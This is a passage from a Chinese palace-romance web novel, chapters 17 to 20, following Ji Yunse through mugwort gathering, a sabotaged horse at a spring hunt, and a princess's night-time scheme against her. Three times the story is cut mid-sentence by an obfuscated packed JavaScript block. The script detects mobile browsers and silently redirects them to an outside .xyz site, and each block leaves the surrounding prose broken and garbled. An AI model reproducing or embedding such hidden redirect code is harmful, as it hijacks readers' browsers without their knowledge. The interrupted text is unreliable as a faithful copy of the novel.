晏时锦答应着,正欲转身离开,周嬷嬷叫住他,询问道: “正好世子爷在此,不知可否派两个羽林卫随同纪姑娘出外采艾草?” 他尚未答话,纪云瑟忽的瞥见院门外隐约现出的绛红色衣角,与赵檐刚才所着衣料一模一样,想起他在太后和夏贤妃面前都毫不避讳的眼神,她不及思索,侧头向身旁这个英挺高隽的男子弯眉一笑: “青团的做法复杂,时辰又紧,太后娘娘既想吃,为恐耽搁,不知世子爷可愿亲自陪我走一趟?” 晏时锦垂眸看向她,表面温婉随意,实则透着满目的心机算计,明晃晃的别有用心,他怎么可能让她如愿? 但周嬷嬷在旁,他不好直接拒绝,便故意向身侧的紫电问道: “适才,你说谢绩找我有事?” 紫电瞧着自家主子颇具意味的眼神,仔细琢磨着他这句话的含义,顿时明白了,忙抱拳道: “世子您放心去吧,属下自会与谢统领把事情办妥!” 17. 第 17 章 三月春意盎然,连远处的山峦,在朦胧的薄雾中也似水墨画一般,微风拂过,自由的空气,混杂着泥土和花香,令纪云瑟顿觉神清气爽。 一切的美好都让人心旷神怡,除了身旁的男子微黯的面色。 纪云瑟自然知道这厮厌恶自己,但她也是迫不得已赖上他,若是换了普通的羽林卫跟过来,万一被赵檐那王八羔子以势压人,这里荒郊野外,她定没办法脱身。 还不如对着晏时锦的臭脸,毕竟他不近女色,看着也像正人君子多一些。 幸好,这张臭脸她没有看太久,二人刚刚走出别苑,就碰见了赵峥兄妹俩。 赵如昕眼睛一亮,蹦蹦跳跳地跑过来,兴奋地拥着纪云瑟: “纪姐姐!” 赵峥亦是一脸惊喜,见纪云瑟手臂上挎着一只竹篮,问道: “纪姑娘,这是要去哪儿?” 纪云瑟向二人微微屈膝行了礼,说了一遍原委,赵如昕顿时有了兴趣,拉着赵峥恳求道: “哥哥,我能不能跟纪姐姐一同去采艾草?” “去罢!” 赵峥回答得没有丝毫犹豫,原本他是被赵如昕磨了许久,实在没有法子,只能陪她出来踏青,如今见着纪云瑟,瞬间变成了心甘情愿,哪有不同意的。 二人似乎完全没有注意到还有一个高大的男子立在一旁,直到晏时锦皱着眉头轻咳了两声。 赵峥诧异地看了过来,瞬间敛去几分笑意: “表兄为何在此?” 晏时锦在队伍出发时,就看出了赵峥对纪云瑟的殷勤,也自然明白这份殷勤的来源,如今瞧着自己在他眼中的多余,微眯着眼正欲开口,纪云瑟帮他回答道: “是周嬷嬷不放心我一人外出,特地求了指挥使大人陪我一同去。” 赵峥哦了一声,略思一瞬,十分恭敬且体贴道: “表兄事务繁忙,可不必浪费时间同去,你放心,这里有我保护纪姑娘就好。” 他们虽是年岁相差不多的表兄弟,但因晏时锦素来端持老成,年纪轻轻又身居高位,自带威慑,像赵峥这样与他同辈的宗亲只觉得与他有难以逾越的鸿沟,故而在他面前总是如晚辈一般生疏拘谨。 赵如昕年幼,又只是个小姑娘,倒是没那么惧他,只在一旁陪笑道: “对啊!晏表兄肯定有别的重要事情要忙吧?有我和哥哥陪着纪姐姐就行了!” 纪云瑟亦识趣道: “原也不该劳烦指挥使大人的,您若是有公务在身,可不必勉强相陪!” 兄妹俩不约而同的嫌弃眼神显而易见,但这女子,多半是对他欲擒故纵! 晏时锦不动声色道: “正好我没事。为了太后,陪你们走一趟。” 他是那等召之则来,挥之即去的人?况且,太后有想亲临后山赏春的意思,他正好先去踩点,以布排防卫。 赵峥兄妹俩自是十分不解地看向他,不明白这位平日忙碌得跟长辈一般,并无半点少年郎情致的人,怎的突然有兴趣陪着一起去做采艾草这种事? 但他如此说了,他们也不好再言语,而且他们皇亲宗室出门在外,晏时锦身为京卫司指挥使,确实有责任保护一行人的安全。 就是会觉得拘束一些而已,反正他不喜言语,当他不存在就好了。 兄妹俩一左一右走在纪云瑟的两侧,有说有笑,聊起青团的做法,赵如昕一脸崇拜: “纪姐姐,没想到你还会做吃食呢!” 纪云瑟淡笑一声: “幼年时,我见乳母捏青团觉得有趣,就跟着一起动手。” “郡主不知,我只会做这个,再没有别的了。” 赵峥目光中的欣赏溢于言表,拿过她手中的竹篮,细心道: “姑娘要采什么只管吩咐,你们女孩儿家的肌肤娇嫩,莫要被杂草划伤了手,这些粗活我来做就好。” 纪云瑟盈盈一笑: “多谢世子。” 晏时锦面无表情地跟在三人身后,进入山林,赵如昕已经放开了纪云瑟的手臂,如同一只欢脱的兔子,跑在了最前面。 她自小被涟亲王妃管得紧,不常出府游玩,如今见半山的姹紫嫣红,目不暇接,忍不住要采摘各色鲜花。 赵峥怕她摔了,跟纪云瑟说了一声后,忙不迭地追了上去。 剩下一男一女走在山路上,晏时锦阔步如常,踩着厚厚的落叶,发出沙沙的轻响,一点儿也没有等着身旁迈着小碎步的女子的意思。 纪云瑟小跑着追上他的脚步,侧眸看了他一眼,日光透过枝叶间隙落在男子深邃的眉眼间,映出不耐的神色。 她似想到什么,拂开面前伸过来的一枝绽放的胭粉花朵,淡笑一声,用足够两人听见的轻柔声音说道: “我还以为,世子并不愿与我共处。” “如今看来,也不尽然呢!” 少女的嗓音和软嘟哝,巧笑嫣嫣,瓷白脸庞在盛放的晚樱下,显得更加朱唇明眸。 晏时锦绷紧嘴角,目光从一树烟霞移至她脸上,眼中的不悦十分明显: “这不是你的算计?” “算计?” 纪云瑟若有所思地点了点头,摘了一朵樱花托在手中,轻抚娇软的花瓣, “可我以为,若是世子您不想,没人能强迫你。” “何况,涟亲王世子和郡主让你离开,不是也没舍得走么?” 说罢,也不等他的答话,她手持樱花放在鼻尖深深一闻,翘首淡笑了两声,径直往前小跑着追赵峥兄妹去了。 赵如昕采了许多花枝,欣赏够了,才用一根细藤蔓绑好,学着纪云瑟去采艾草,半日方发觉少了一个人,有些诧异道: “咦,表兄呢?” 纪云瑟跟着环顾了一圈四周,蹲下继续掐着一枝艾草的嫩芯,似后知后觉道: “想必是晏世子公务繁忙,突然有事,就离开了。” 赵如昕巴不得一声: “纪姐姐,那咱们在这里多玩一会儿吧!” 纪云瑟倒不敢在此耽搁太久,哄她道: “郡主,咱们摘了这么多,回去做着吃,想捏个什么就捏什么,那才好玩呢!” 果不其然,赵如昕十分认真地听她描述了一番做法,更加有兴趣,几人赶回去,在太后所居的小院,命人清理了小厨房,立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156312|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时就做起来。 太后养足了精神,胃口也好了不少,晚膳除了吃纪云瑟做的青团,还额外用了些粥。 纪云瑟又特地煮了山楂陈皮水,让她喝一些消食,自己也跟着用了晚膳。 忙碌过后,由太后亲遣的内监送她去往曦和公主所居的院子时,天色已晚。 房中早已换成了玉华香,赵沐昭正懒懒地斜倚在木榻上,见纪云瑟进来行了礼,冷笑一声: “呦,咱们毓秀宫最会服侍人的‘功臣’回来了?” “怎么不赖在皇祖母那儿,回来找本宫作甚?” 纪云瑟并不争辩,只淡笑道: “臣女回来迟了,请公主见谅。” 她心知就凭自己如今这个尴尬的身份和夏贤妃的忌惮,就算她讨好这位公主,也换不来一丝和睦,不如顺其自然。 赵沐昭见她没有一丝歉疚之意,反而一脸理所当然,想起今日自己亲哥哥看着她的目光,更是气不打一处来。 但今日夏贤妃特地嘱咐了她,如今那丫头在太后面前甚是有脸面,让她万不可轻举妄动,故而忍了半日,暗暗骂了纪云瑟几句“狐媚妖精”后,不耐烦地向身旁的玉拂道: “带她去房间。” 纪云瑟躬身退下,跟着玉拂绕到院后一处廊庑,玉拂面上无甚表情,道: “姑娘来得晚,前院已经安排满了,只能委屈您到这里。” 她推开门: “房间虽小,但姑娘一个人住,想必也够了。” 说罢,她提着灯笼离开。 唯一的光源远去,夜色沉寂,四周似空无一人,只有偶尔的鸟叫和蝙蝠飞动的声音。 纪云瑟只得进入房内,拿出随身带着的火折子,擦亮了看里面的情况。 房间确实小,只有一张简单的床榻,堆了有些破旧的被褥,和一套桌椅。 幸好,案桌上放了一盏油灯。 纪云瑟点亮灯,将包裹放下,小心翼翼地关紧了门,准备休整一下便安置。 玉拂回到前院时,赵芷宁过来了与赵沐昭说话。 “你是说,她今日午后,与赵峥兄妹出去了半日?” 赵芷宁点点头,颇为不屑道: “可不是?说是采野草做吃食了,公主您没瞧见,世子的眼睛都恨不得粘在她身上!” “就连如昕郡主,也被她收得服服帖帖。” 赵若昭细细品味着这番话: “赵峥那个愣头青,竟然也看上了她?” 赵芷宁轻哼一声: “千真万确,我亲耳听见世子说,还要找机会教她骑马呢!” 出乎意料,赵沐昭闻言并没有气恼,反而凝眸一笑: “这倒有趣了!” 她唤来玉拂: “你明日一早去寻母妃,就说前日里说好的,来了这里后,要办一场春蒐,这两日瞧着天气好,请母妃越早办越好。” 赵芷宁有些不解地看着她: “公主这是何意?” 赵沐昭笑道: “好不容易出来透透气,自然要找些有趣的事情做一做。” “大伙儿开心开心!” 18. 第 18 章 暮色四合,晏时锦背负双手,和青霜二人拾阶而上,步入别苑东侧的一排值房檐廊下。 新月如钩,淡淡的月光落在男子锐利的棱角,勾勒出他沉厉的眼眸,见他眉头不展,青霜询问道: “您午间还未用膳就去看望太后,又被属下急着找回来与王禄说话到现在,此刻可要为您传膳?” 晏时锦摆摆手,沉声道: “不必。” “你亲去安排,着一队人马,待王禄出城后,去他所说的客栈把吴氏兄妹俩接过来,暂时安置在京卫司衙门,确保一天十二个时辰,有人贴身保护。” 青霜俯首应“是”,又问道: “那吴老三如今关在庐州知府衙门的号房里,世子打算如何救他出来?” 晏时锦道: “不必救,他暂时死不了。王禄回去后,自会有办法保他性命。” 青霜询问道: “此事事关重大,陛下那边,是否需要提前知会一声?” 晏时锦点头道: “那是自然。此事关系皇子,要看陛下的意思如何处置。” “你把王禄带过来的东西整理好,我再写一封奏疏,明日一早快马送回宫,呈交陛下。” 青霜道: “是,属下已将东西收拾妥当。” 晏时锦看了一眼静谧的别苑,道: “多排一班夜间巡视的人,这些时日,尤其盯紧裕王,若是他与什么特别的人往来,立刻报于我。” 顿了顿,又道: “还有蔚王,和夏贤妃。” “关注他们最近与什么人接触。” 走过转角,紫电提着一个食盒已在他的厢房外等候,看见二人走过来,抱拳道: “世子,属下刚从云栖院过来,太后用罢晚膳后,服了药已经歇下。” “世子放心,周嬷嬷说,有涟亲王世子和小郡主陪着,太后今日精神和心情都不错,胃口也甚好,吃了好些纪姑娘亲手做青团。” 晏时锦扫了一眼他手里的东西,问道: “这是什么?” 紫电为他推开门,点燃了屋内的烛火,将食盒放在案桌上打开,从里面端出一个食盘,笑道: “这是太后特地吩咐给世子留的青团,还是热着的,您尝尝看。” “太后给我留的?” 晏时锦一脸不信,太后素知他不喜甜食糕点,怎会特地给他留这个? 紫电看出了他的心思,忙道: “给您留的都是鲜笋腊肉馅的,不甜。” 晏时锦不置可否,略思一瞬,道: “你去准备一下,明日,我和谢绩亲去一趟通州。” “你们留在寺里,若是太后问起,就说最多两日,我会尽快赶回。” 事发突然,他必须亲自走一趟才能放心。 紫电将食盘放在案桌的一角,答应着去了。 晏时锦行至里侧的圈椅旁,落座前瞥了一眼过去,绿莹莹的,有三个中规中矩的圆团,摆了一圈,围着中间的那个,捏成了一只肥胖的兔子,格外圆墩憨厚的一小只。 一双狡黠的明眸突然闪现脑海,她该捏只狐狸才对! 晏时锦提起笔,顺手取过旁边的一张空白奏疏,开始落笔,片刻后,落下签名印章,交给青霜: “记住,明日一早送到勤政殿。” 青霜接过,小心收入胸口衣襟处,双手捧起食盘,在一旁抻着鼻子闻了闻,送至他面前道: “好香,世子一日未吃东西,快用一些填填肚子吧!” 浓浓的艾草香涌入鼻尖,晏时锦余光扫过尚冒着热气的青翠欲滴,看似不经意道: “先搁这里。” 又吩咐青霜道: “你去看看谢绩是否回来,让他立刻来见我。” ~ 春风和煦,草长莺飞,连续晴朗的天气,正是郊外骑猎的好时机,因春季万物孕育生发,故而只是象征性的猎一些没有怀胎的野兽,以娱乐为主。 大缙朝崇文尚武,永安帝每年都要办两场像样的射猎比赛,皇室女子亦精通骑射,南云山半山腰处有个不大的围场,正好适合闷了一个寒冬的姑娘们活动筋骨。 夏贤妃见太后亦有兴致观看,特地准备了许多稀罕的彩头。 曦和公主赵沐昭领着众宗室女郎,连带着刚满十岁的景和公主赵沐暄,都跨上马,齐装待发。 太后斜倚在皇帐中的软榻上,看着年轻姑娘们个个英姿飒爽,不住地点头赞叹,同一旁的周嬷嬷笑道: “哀家年轻时,也擅这个,记得那年秋狝,哀家猎了五只獐子,三只野兔和两只鹿,差点把先帝的风头都抢了去。” 周嬷嬷陪笑道: “娘娘的风姿,老奴怎敢忘?” “连世宗皇帝都称赞您是巾帼不让须眉。” 太后回忆往事,又深深叹气道: “可惜,那时总没想过,哀家如今还有整日卧于榻上,与汤药为伍的时日。” 周嬷嬷劝道: “娘娘怎会不知,人食五谷,总有病痛的时候,您该放宽心,看看小主子们能猎些什么好东西。” 太后沉吟不语,片刻后,瞧见一旁的纪云瑟,招手让她过来,问道: “你这孩子可怜见的,一个人留在这,怎么不过去和她们一起?” 纪云瑟尴尬一笑: “娘娘,臣女不会骑马。” 要学骑马,就得有自己的马场,买马养马处处都得使银子,还得重金聘请骑射师父,他们章齐侯府根本无法负担。 别说是她只是家中女儿,就是两个弟弟,也都是以学文为主,算是把骑射技艺彻底丢弃了。 太后诧异道: “怎么会?当年你祖母的骑射技艺也不差,她怎的连这个都没有教你?” 见纪云瑟笑着不知如何答话,太后明白了几分,叹道: “算了,骑马危险易受伤,你胆子小,不学这个也罢!” “咱们看她们比,也有意思。” 不多时,第一场比试完毕。 赵如昕兴奋地跑了过来,给太后行完礼,兴致勃勃地分享一路上的趣事,她虽不是太后的亲孙女,但涟亲王从小与永安帝交好,对太后也恭谨,太后亦喜欢赵峥兄妹俩的豁达开朗的性子,故而有时待他们倒比几个亲孙子孙女亲厚些。 赵如昕喋喋不休了许久,又拉着纪云瑟,道: “纪姐姐怎的不一起去?” 纪云瑟只得又说了一遍自己不会骑马,赵如昕自是十分惊异,只因她所认识的高门贵女,皆是从小学骑射,没有不会的。 不过,她并未想太多,道: “我来教姐姐,纪姐姐聪明,保管一学就会!” 说着,就拉着她往外走。 纪云瑟十分无奈,看向了太后,太后道: “去罢,你们姑娘们好好乐一乐,哀家也要回去歇着了。” 赵如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156313|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昕巴不得一声,二人行礼告退后,迫不及待地拉着纪云瑟来到了帐外的空地上。 “纪姐姐,你不用怕,我帮你牵着笼头,你只管握着缰绳就好。” 纪云瑟虽听她说得轻松,但始终不敢踩上脚蹬。 赵如昕无奈,招手唤来一个内监,让他将纪云瑟托上马背。 纪云瑟不想拂了她的好意,只得咬着牙,在内监的帮助下爬了上去。 “怎么样,是不是很简单?” 赵如昕牵着她绕着围场走,笑道:“没想到,我也能当人师父了!” 纪云瑟向她含笑致意: “多谢郡主。” 刚走了小半圈,却见赵沐昭带着伤好的陆嘉蕙和赵芷宁,几人各自骑马走了过来,向赵如昕道: “如昕,要不要咱们几个再比一场?” 赵如昕看了一眼在马背上向赵沐昭微微行礼的纪云瑟,道: “我在教纪姐姐骑马呢,你们比吧!” 陆嘉蕙道: “这回的彩头可是年前大宛进贡的一匹纯种汗血小马,你不想得么?” 赵如昕素喜骑射,闻言眼睛放了光,但看向纪云瑟,还是摇了摇头: “算了,我不去了。” 纪云瑟看出了她的心思,小心扶着马鞍跳下来,笑道: “郡主快去吧,我怕高,还是不学的好。” 赵如昕道: “那怎么行?咱们大缙的女儿,都会骑马,等到秋狝时,我还要跟纪姐姐组队呢!” 赵沐昭倒是十分热心地提醒她道: “哪里要你亲自教?” “才刚,本宫过来时,看见你哥哥就在那儿,不如让他来,还不比你教得好?” 赵如昕一拍脑袋: “对啊!我怎的连这个都忘了,我的骑术就是他教的。我去找了他来!” 她一跃上马,策马飞驰而去。 纪云瑟却疑惑,赵沐昭为何突然对她的事如此热情,而且她们三人今日倒少有的没有出言讥讽她。 赵如昕片刻后和赵峥同骑马回来,叮嘱了他几句后,就与赵沐昭几人前往赛马处。 赵峥自是十分欣喜,向纪云瑟道: “纪姑娘,上马吧,我教你。” 大缙民风开化,不会过度追求男女大防,他们虽男女有别,但在大庭广众之下,赵峥教她一些骑马的技艺不算什么。 但纪云瑟想到赵沐昭几人异常的态度,总觉着有些不对,她委婉拒绝道: “多谢世子,我自幼怕高,才刚郡主带着我骑了一圈,就有些头晕,还是不学的好。” 赵峥笑道: “初学者刚上马时怕高是常事,适应了就好,纪姑娘只管放心,我妹妹的马术也是我教的,定不会让你受伤。” 纪云瑟不惯会拒绝别人的好意,特别是看着他们兄妹俩一片赤诚,总归这里人多,她自己注意些,应该不会出什么事。 她点了点头,小心踩着脚蹬,用力爬了上去。 赵峥自是十分绅士地在一旁牵着笼头,与她说一些御马的要点,纪云瑟虽有些害怕,但心中有顾虑想快些上手,便用心学着,走了一圈后,渐渐适应了马速。 而且在这个过程中,整个场上的人似乎都是各忙各的,并未有人注意他们。 就在纪云瑟稍稍放下心,赵峥拍了拍马背,让它的速度稍微快一些时,从侧后方突然飞来一支箭矢,不偏不倚,直奔她所骑的马尾处而来。 19. 第 19 章 因马场人多喧哗,二人竟都没有察觉。箭矢虽未射中纪云瑟的马,但恰到好处地擦过马腿外侧,深深地插入草地中,马儿吃痛受惊,嘶鸣一声,四蹄翻飞,猛地往前冲! 幸好纪云瑟因是初学,心中害怕,一直小心翼翼抓紧缰绳,才没有被甩下马。 危急时刻,她想起赵峥刚才教她的话,若是觉得马速过快或者眼看马儿要越过障碍,坐不稳时,可俯趴下来,抱紧马身。 笼头从赵峥原本攥紧的手中滑脱,看着纤袅的身影颠簸着随马儿跑远,他顾不得许多,就近随手拉过一匹马飞身一跃,迅速调转马头,策马追了过去。 纪云瑟眼见自己的马就要跑出围场,一时慌了神,她紧紧拥着马身,保持着深呼吸,努力让自己冷静下来。 她按赵峥的嘱咐,用力勒紧缰绳,可惜无论她怎么使劲,这马儿都没有半点要停下来的迹象。 有驻守马场的几名羽林卫注意到了她,立刻追了上去。 紫电和青霜奉自家主子之命,密切关注这次春蒐的防卫。二人护送太后回去,太后素知晏时锦常常办起公务就忘了膳食,询问二人他最近可有按时用膳,二人自然回禀说会及时提醒主子。 比如,前日他就将太后留给他的青团全部吃完,太后方放心了些。 紫电和青霜返回,快要行至围场时,正好见纪云瑟的马飞奔出来。 纪云瑟也看见了二人,与他们擦身而过时,发出一声轻呼: “救我!” 紫电看清楚了马上的人,是纪姑娘! 他来不及跟青霜解释,立刻拦了跟在其后的一名羽林卫,将他拉下来,自己上马飞快追上。 紫电和青霜跟随晏时锦在北疆历练多年,马上功夫了得,他只挥了几鞭子,就迅速拉近了与纪云瑟的距离。 在确保前方没有什么危险障碍之后,紫电眼疾手快,一把拉住她的马缰,用力往后方一扯,想将她的马勒停,却不料马儿似再次受惊,反而更加狂躁,马蹄愈发凌乱。 紫电已知晓这匹马暂时停不下来,他迅速调整坐姿,用力抽了身下的马一鞭后,立刻借力两腿一蹬,跳上了纪云瑟的马背,稳稳地坐在她身后。 趁马儿因突然承受多一个人的重压,放慢了些许脚步时,他抱起纪云瑟从马上跳下。 待纪云瑟反应过来,自己已经被紫电稳稳地放在地面上,她抚着狂跳不止的心口,愣了一会儿方回过神,微微行礼道: “多谢大人相救。” 紫电忙抱拳: “不敢当,姑娘客气了。” 马蹄声传来,有一行人向他们靠近,为首的赵峥一跃下马,面色焦急地上下打量纪云瑟: “纪姑娘,你可有受伤?” 纪云瑟惊魂未定地摇了摇头: “我没事。” 紧接着,赵如昕驾马飞奔而来,马儿尚未完全停稳她就跳了下来,拉着纪云瑟道: “纪姐姐,你没事吧?怎么会这样?” 又转头气呼呼地看向赵峥: “哥哥,你到底会不会教?怎的把纪姐姐害成这样?” 赵峥一脸无奈,正欲开口解释,却见曦和公主和陆嘉蕙几人也赶了过来。 赵沐昭看了一眼几人的站位,微微皱了皱眉头,面露一丝复杂的神色,片刻后向纪云瑟问道: “云瑟,你怎么样,没有受伤吧?” 纪云瑟微微欠身道: “多谢公主,幸有紫电大人相救,臣女无碍。” 在清楚地捕捉到了她们几人脸上的失望之色后,纪云瑟的头脑也清醒了许多。 定是公主几人在她的马上动了手脚! 她的双拳在宽袖中暗暗攥紧,不错,曦和公主叫走赵如昕,建议让赵峥来教她,就是她故意的安排。 纪云瑟只要稍微想一想,就知道公主这么做的目的,无非是看出赵峥对她有意,马出了事,她一个初学骑马的人当场就会被甩下来,赵峥定会奋力相救,二人必然会在大庭广众之下,有肢体接触。 赵沐昭到时就可有利用这件事做文章,落实她一个举止轻浮,刻意勾引男子,甚至更严重的罪名。 却没料到,她的马跑了出来,在路上遇见了紫电救下她。 紫电任职京卫司,又是晏时锦的贴身侍从,赵沐昭才不敢编出什么闲话来。 纪云瑟故作疑惑,向一旁的紫电说道: “不知我的马为何会突然发狂,大人可否细细查一查?” 赵峥想了想原委,亦说道: “不错,此马我已骑过一圈,一看就是驯服温顺的良驹,并不是那等烈性未除的马,如此发疯定有缘故。” 赵沐昭下了马,握着马鞭走过来说道: “那也不一定吧,如今是春季,马儿性情狂躁些也是有的。” 又看了一眼纪云瑟,道: “云瑟你并没有受伤,马儿也已跑得不知踪迹,何必兴师动众地去查这个?” 纪云瑟不无担忧地说道: “公主所言有理,但是,恐怕还是查一查的好,这次出来的都是皇室宗亲,身份尊贵。幸好今日是我碰上,若下回再发生这种事,伤到了公主、郡主或是其他贵人,罪过就大了。” 她微笑着看向紫电: “大人,您说是不是?” 虽然她清楚赵沐昭若是做了这件事,就定然会想办法周全,恐怕不会留下什么痕迹,但她还是不想这样轻飘飘地揭过去,就算给她添些堵也是好的。 至少能分扰她的心神,免得她太闲了又来害人。 “姑娘所言极是。” 紫电早看出那匹马有问题,不必她说,已打算细查,毕竟这里不管谁出了事,自家主子都不会放过他。 他和青霜向赵沐昭等人行了礼后,便与跟过来的几个羽林卫离开。 赵如昕拉着纪云瑟往回走,关切道: “纪姐姐,吓着你了吧?” “都怪我,好好的硬要你学骑马,害你差点受伤。” 纪云瑟看她如此自责,淡笑着故作轻松道: “郡主莫要这样说,我没事,也算是长了一次见识。” 两人说着话在前面走,身后突然想起赵沐昭的惊呼声: “哎呀!” “赵峥,你的手怎么了?为何伤成这样?” 赵如昕闻言立刻回头,跑过去拿起他的手看,只见赵峥的手心确实有两道红痕,沾着尘土,正往外渗着血迹,她顿时慌了神: “哥哥,这是在哪里弄的?” 她这位兄长不是第一次驾马,不可能拉个缰绳伤成这样。 纪云瑟走过来看了一眼便明白了: “世子是被缰绳割伤的么?” 赵峥收回手,憨笑一声: “没事,我一个男子,成天舞刀弄枪皮糙肉厚的,这哪里算什么伤!” 赵沐昭罕见地十分热心道: “话虽如此,但留下疤就不好了。” “你不用找太医,本宫知道母妃那里有一种番邦进贡的药膏,搽这类伤口最管用,且不留疤痕,回去拿了给你送去。” 赵如昕闻言,感激道: “多谢公主!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156314|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵沐昭摆摆手: “自家人,说这些客气话做什么!” 回到房间,纪云瑟拴紧房门,才行至床边,解开衣裳。果然,大腿内侧磨出了几道血痕,原本白皙的皮肤倒显得这些红色愈发触目惊心。 她忍着疼,找出日常用的药膏抹了一层,又盖了两层薄薄的纱布。 幸好崇陶和效猗两个丫头看不到,否则,又不知道念叨成什么样了。 她做完这些,用了晚膳准备休息时,敲门声响起,是玉拂的声音: “姑娘,公主殿下请您过去一趟。” 纪云瑟有些纳闷,他们几人一同回到别苑时,正好碰见了听闻此事,特地过来看她的周嬷嬷。 周嬷嬷见她没事,便转告了太后的嘱咐,说她今日受了惊,让她早些回房歇息,晚膳自会有人给她送去。 赵沐昭自然也听见了,论理,这位公主素来面上尊敬长辈,不至于拂太后的意,还要使唤她做什么吧? 纪云瑟无奈开了门,玉拂并未多言,伸出手在前方相让: “姑娘请!” 这位毓秀宫的掌事宫女,素来威严十足,说话颇有威慑力,况公主真要她去,纪云瑟亦不能违抗。 行至赵沐昭的厢房,她倒并没有说其他话,命玉晓将一个琉璃小罐子递给她,说道: “这就是番邦进贡的药膏,治伤口最有效,本宫特地找母妃要来的。” “你送去给赵峥吧!” 她说得十分随意,似一件极其稀松平常的事。 见纪云瑟愣住,并未接手,诧异道: “怎么,人家为了救你伤成这样,你不应该给他送药,顺便瞧一瞧他?” 纪云瑟看了一眼窗外暗下来的暮色,大概猜到了她的用意,不知自己此刻送药过去,又会惹出什么幺蛾子来,说道: “想必世子已经找了太医,不急着一时的用药,不如明日臣女再送吧。” “真不巧,才刚本宫找母妃拿药时,恰见母妃召集了所有同行跟来的太医,问皇祖母的病情。” “母妃说既然你没事,赵峥也只是划伤,有了这药膏就好,便留下太医们嘱咐一些话。” 纪云瑟一时无言,赵沐昭似看出了她的心思,轻笑一声,道: “也是,如今天色已晚,你一个人过去找他多有不便。” “这样吧,玉晓,你跟着走一趟。” 纪云瑟不禁暗暗叫苦,她就知道,只要这位公主打定了主意要她做的事,是一定要做成的,否则就会有无休止的麻烦,她刚才没有直接拒绝就是清楚她的性子。 她伸手接过,道: “多谢公主,臣女这就去。” 既然此刻逃不过,那就再想法子。 赵沐昭向玉晓使了个眼色,玉晓随即跟着纪云瑟往外走。 玉拂关上了门,赵沐昭低声问道: “围场上都处理干净了么?” 玉拂道: “殿下放心,箭矢早已取走,没有留下痕迹。” “那匹马掉落悬崖,已经死了。” 赵沐昭点点头,: “那就好,就算他们找到了马,也是伤痕累累,哪里分得清是什么伤?” 她看了一眼房门的方向,又道: “今晚的事,都准备好了么?” 玉拂道: “都已准备妥当。” 院落外,纪云瑟走上一处复廊,玉晓见她行走的方向不对,忙上前拦住她,说道: “姑娘这是去哪儿?” “涟亲王世子不是住在北面么?” 20. 第 20 章 纪云瑟笑了笑,说道: “公主也说了,如今天色已晚,我这么去找世子,多有不便。” “我想着,不如交给如昕郡主,让她帮忙送去给世子,也是一样的。” 她不能违抗公主的命令,但在公主看不见的地方稍稍变通一下,应该谈不上忤逆吧? 意外的是,玉晓并没有再拦她,二人行至赵如昕所住的小院,却听说赵如昕并不在房中,赵芷宁的婢女躬身道: “如昕郡主应我家主子之邀,一起寻嘉蕙郡主了,说是晋元长公主找几位主子说话,姑娘有何事么?” 纪云瑟眉心微皱: “去了多久?” 婢女道: “刚走,估摸着这会子才到呢。” 原来如此! 纪云瑟心底冷笑一声,赵沐昭真是考虑周全呢,连晋元长公主都搬出来了! 玉晓细细观察她的神色,难掩脸上的得意: “姑娘,既然小郡主不在,那只能您亲自送去了?” “您得快些呢,世子找不着太医,若是伤口发炎就不好了。” 纪云瑟不得不佩服赵沐昭几人,为了算计她什么事都能做出来! 但是她不能让她们得逞! 就算她想尽办法出宫,也不能这样背着污名离开,若是因此被赶回家,不光父亲不会原谅她,连一贯疼爱她的太后也会对她失望,平白给她老人家添烦恼。 而且,她也不想连累赵峥。 玉晓催促道: “姑娘,若是再耽搁,晚了就更不方便了!” “奴婢知道涟亲王世子住哪里,咱们赶紧过去吧。” 纪云瑟看了她一眼,道: “也好,走罢。” 玉晓领着她穿过中间的一个回廊,往东行至一排院落旁,纪云瑟似不经意问道: “谁住在这里?” 玉晓并未多想,随手指了指,道: “这边住着裕王、蔚王和祈王几位皇子,郡王世子们住在后边。” 纪云瑟点点头,眸光一闪,道: “正好,今日太后说起一件事,让我见到了蔚王殿下问他一句话,你陪我顺便去找他吧!” 玉晓没料到她会突然如此说,忙拉着她道: “姑娘,天色已晚,咱们此刻过去,恐有不便。” 纪云瑟勾唇一笑: “怎么会呢?” “公主不是说,有你陪着我,无妨么?” 玉晓道: “可是,姑娘还急着要给世子送药呢!” 纪云瑟道: “不过就是说几句话,不耽误什么事。” “想来,涟亲王世子也不会如此娇气。” 说罢,她脱开玉晓的手,径直往赵檐所居的院子快步走去。 她权衡了一番,相比按照赵沐昭的安排,落入一个未知的陷阱,不如冒险一把,直接把赵檐拉下水,。 赵檐已经盯她好几天了,只不过她一直有意躲着,才没跟他碰上面。 纪云瑟心知躲得了一时,躲不了一世,既然都是要面对的,不如把水搅浑,赵沐昭总不至于把自己亲哥哥一起算计了。 